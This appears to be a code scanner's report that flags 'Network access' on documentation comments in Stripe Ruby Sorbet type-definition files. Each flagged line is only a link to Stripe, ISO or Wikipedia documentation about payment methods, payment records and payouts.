    class RadarOptions < ::Stripe::StripeObject       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.    
  • Network accessline 1224
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 1524
    sig { returns(T.nilable(MbWay)) }     def mb_way; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 1525
    def mb_way; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nilabl
  • Network accessline 1526
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1569
    sig { returns(T.nilable(Promptpay)) }     def promptpay; end     # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 1570
    def promptpay; end     # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.     sig { returns(T.nilable(RadarOptions)) }
  • Network accessline 1571
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 1607
    # Attaches a PaymentMethod object to a Customer.     #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 1608
    #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)     # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap
  • Network accessline 1609
    # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 1610
    # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage).
  • Network accessline 1612
    # endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for     # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for fut
  • Network accessline 1613
    # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up     # futu
  • Network accessline 1614
    # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up
  • Network accessline 1616
    #     # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me
  • Network accessline 1617
    # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 1618
    # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 1625
    # Attaches a PaymentMethod object to a Customer.     #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 1626
    #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)     # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap
  • Network accessline 1627
    # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 1628
    # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage).
  • Network accessline 1630
    # endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for     # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for fut
  • Network accessline 1631
    # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up     # futu
  • Network accessline 1632
    # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up
  • Network accessline 1634
    #     # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me
  • Network accessline 1635
    # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 1636
    # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 1643
    # Creates a PaymentMethod object. Read the [Stripe.js reference](https://docs.stripe.com/docs/stripe-js/reference#stripe-create-payment-method) to learn how to create PaymentMethods via Stripe.js.
  • Network accessline 1644
    #     # Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-paym
  • Network accessline 1645
    # Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-payment) A

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_method_configuration.rbi

  • Network accessline 6
    # PaymentMethodConfigurations control which payment methods are displayed to your customers when you don't explicitly specify payment method types. You can have multiple configurations with different sets of payment methods for different sc
  • Network accessline 7
    #   # There are two types of PaymentMethodConfigurations. Which is used depends on the [charge type](https://docs.stripe.com/connect/charges):   #
  • Network accessline 8
    # There are two types of PaymentMethodConfigurations. Which is used depends on the [charge type](https://docs.stripe.com/connect/charges):
  • Network accessline 12
    # **Child** configurations apply to payments created on your connected accounts using direct charges, and charges with the on_behalf_of parameter.   #   # Child configurations have a `parent` that sets default values and controls which sett
  • Network accessline 13
    #   # Child configurations have a `parent` that sets default values and controls which settings connected accounts may override. You can specify a parent ID at payment time, and Stripe will automatically resolve the connected account's asso
  • Network accessline 14
    # Child configurations have a `parent` that sets default values and controls which settings connected accounts may override. You can specify a parent ID at payment time, and Stripe will automatically resolve the connected account's associat
  • Network accessline 15
    #   # Related guides:   # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations)
  • Network accessline 16
    # Related guides:   # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations)   # - [Multiple configurations on dynamic payment methods](https://docs.stripe.com/payments/multiple-payment-method-c
  • Network accessline 17
    # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations)
  • Network accessline 18
    # - [Multiple configurations on dynamic payment methods](https://docs.stripe.com/payments/multiple-payment-method-configs)
  • Network accessline 19
    # - [Multiple configurations for your Connect accounts](https://docs.stripe.com/connect/multiple-payment-method-configurations)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_method_domain.rbi

  • Network accessline 7
    # Stripe Elements use registered payment method domains to control where certain payment methods are shown.   #   # Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration).
  • Network accessline 8
    #   # Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration).   class PaymentMethodDomain < APIResource
  • Network accessline 9
    # Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration).
  • Network accessline 218
    # To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint.     #     # Related guides: [Payme
  • Network accessline 219
    #     # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).     sig {
  • Network accessline 220
    # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).
  • Network accessline 229
    # To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint.     #     # Related guides: [Payme
  • Network accessline 230
    #     # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).     sig {
  • Network accessline 231
    # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_record.rbi

  • Network accessline 10
    class PaymentRecord < APIResource     class Amount < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cur
  • Network accessline 11
    class Amount < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) 
  • Network accessline 12
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 13
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 14
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 15
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 24
    end     class AmountAuthorized < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 25
    class AmountAuthorized < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { return
  • Network accessline 26
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 27
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 28
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 29
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 38
    end     class AmountCanceled < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 39
    class AmountCanceled < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(
  • Network accessline 40
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 41
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 42
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 43
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 52
    end     class AmountFailed < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 53
    class AmountFailed < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(St
  • Network accessline 54
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 55
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 56
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 57
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 66
    end     class AmountGuaranteed < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 67
    class AmountGuaranteed < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { return
  • Network accessline 68
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 69
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 70
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 71
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 80
    end     class AmountRefunded < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 81
    class AmountRefunded < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(
  • Network accessline 82
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 83
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 84
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 85
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 94
    end     class AmountRequested < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 95
    class AmountRequested < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns
  • Network accessline 96
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 97
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 98
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 99
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 204
    end       class Affirm < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 205
    class Affirm < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.         sig { returns(T.nilable(String)) }
  • Network accessline 206
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 207
    sig { returns(T.nilable(String)) }         def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 208
    def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.         sig { returns(T.nilable(String)) }
  • Network accessline 209
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 426
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 427
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 428
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 438
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 439
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 440
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 756
    sig { returns(T.nilable(String)) }         def brand; end         # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 757
    def brand; end         # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.         sig { returns(T.nilable(String)) }
  • Network accessline 758
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 762
    sig { returns(T.nilable(Integer)) }         def capture_before; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characte
  • Network accessline 763
    def capture_before; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In s
  • Network accessline 764
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 794
    sig { returns(T.nilable(String)) }         def iin; end         # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization
  • Network accessline 795
    def iin; end         # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payme
  • Network accessline 796
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 1028
    sig { returns(T.nilable(String)) }         def brand; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and fir
  • Network accessline 1029
    def brand; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases
  • Network accessline 1030
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1349
    end       class Paynow < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1350
    class Paynow < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.         sig { returns(T.nilable(String)) }
  • Network accessline 1351
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1352
    sig { returns(T.nilable(String)) }         def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1353
    def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.         sig { returns(T.nilable(String)) }
  • Network accessline 1354
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1564
    sig { returns(T.nilable(String)) }         def last4; end         # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_meth
  • Network accessline 1565
    def last4; end         # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on 
  • Network accessline 1566
    # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma
  • Network accessline 1691
    sig { returns(T.nilable(String)) }         def fingerprint; end         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1692
    def fingerprint; end         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.         sig { returns(T.nilable(String)) }
  • Network accessline 1693
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1694
    sig { returns(T.nilable(String)) }         def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1695
    def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.         sig { returns(T.nilable(String)) }
  • Network accessline 1696
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1885
    sig { returns(T.nilable(Twint)) }       def twint; end       # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_ob
  • Network accessline 1886
    def twint; end       # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible
  • Network accessline 1887
    # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types.
  • Network accessline 2001
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2002
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2003
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2013
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2014
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2015
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2084
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 2085
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 2086
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payout.rbi

  • Network accessline 6
    # A `Payout` object is created when you receive funds from Stripe, or when you   # initiate a payout to either a bank account or debit card of a [connected   # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). Y
  • Network accessline 7
    # initiate a payout to either a bank account or debit card of a [connected   # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). You can retrieve individual payouts,   # and list all payouts. Payouts are made on
  • Network accessline 8
    # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). You can retrieve individual payouts,
  • Network accessline 9
    # and list all payouts. Payouts are made on [varying   # schedules](https://docs.stripe.com/docs/connect/manage-payout-schedule), depending on your country and   # industry.
  • Network accessline 10
    # schedules](https://docs.stripe.com/docs/connect/manage-payout-schedule), depending on your country and
  • Network accessline 11
    # industry.   #   # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)
  • Network accessline 12
    #   # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)   class Payout < APIResource
  • Network accessline 13
    # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)
  • Network accessline 30
    sig { returns(Integer) }     def amount; end     # The application fee (if any) for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details.
  • Network accessline 31
    def amount; end     # The application fee (if any) for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details.     sig { returns(T.nilable(T.any(String, ::Stripe::Appli
  • Network accessline 32
    # The application fee (if any) for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details.
  • Network accessline 33
    sig { returns(T.nilable(T.any(String, ::Stripe::ApplicationFee))) }     def application_fee; end     # The amount of the application fee (if any) requested for the payout. [See the Connect documentation](https://docs.stripe.com/connect/inst
  • Network accessline 34
    def application_fee; end     # The amount of the application fee (if any) requested for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details.     sig { returns(T.nila
  • Network accessline 35
    # The amount of the application fee (if any) requested for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details.
  • Network accessline 39
    sig { returns(Integer) }     def arrival_date; end     # Returns `true` if the payout is created by an [automated payout schedule](https://docs.stripe.com/payouts#payout-schedule) and `false` if it's [requested manually](https://stripe.com/
  • Network accessline 40
    def arrival_date; end     # Returns `true` if the payout is created by an [automated payout schedule](https://docs.stripe.com/payouts#payout-schedule) and `false` if it's [requested manually](https://stripe.com/docs/payouts#manual-payouts).
  • Network accessline 41
    # Returns `true` if the payout is created by an [automated payout schedule](https://docs.stripe.com/payouts#payout-schedule) and `false` if it's [requested manually](https://stripe.com/docs/payouts#manual-payouts).
  • Network accessline 48
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 49
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 50
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 60
    sig { returns(T.nilable(T.any(String, ::Stripe::BalanceTransaction))) }     def failure_balance_transaction; end     # Error code that provides a reason for a payout failure, if available. View our [list of failure codes](https://docs.strip
  • Network accessline 61
    def failure_balance_transaction; end     # Error code that provides a reason for a payout failure, if available. View our [list of failure codes](https://docs.stripe.com/api#payout_failures).     sig { returns(T.nilable(String)) }
  • Network accessline 62
    # Error code that provides a reason for a payout failure, if available. View our [list of failure codes](https://docs.stripe.com/api#payout_failures).
  • Network accessline 72
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 73
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 74
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 75
    sig { returns(T.nilable(T::Hash[String, String])) }     def metadata; end     # The method used to send this payout, which can be `standard` or `instant`. `instant` is supported for payouts to debit cards and bank accounts in certain countr
  • Network accessline 76
    def metadata; end     # The method used to send this payout, which can be `standard` or `instant`. `instant` is supported for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts]
  • Network accessline 77
    # The method used to send this payout, which can be `standard` or `instant`. `instant` is supported for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts](https://stripe.com/do
  • Network accessline 87
    sig { returns(T.nilable(String)) }     def payout_method; end     # If `completed`, you can use the [Balance Transactions API](https://docs.stripe.com/api/balance_transactions/list#balance_transaction_list-payout) to list all balance transa
  • Network accessline 88
    def payout_method; end     # If `completed`, you can use the [Balance Transactions API](https://docs.stripe.com/api/balance_transactions/list#balance_transaction_list-payout) to list all balance transactions that are paid out in this payout
  • Network accessline 89
    # If `completed`, you can use the [Balance Transactions API](https://docs.stripe.com/api/balance_transactions/list#balance_transaction_list-payout) to list all balance transactions that are paid out in this payout.
  • Network accessline 122
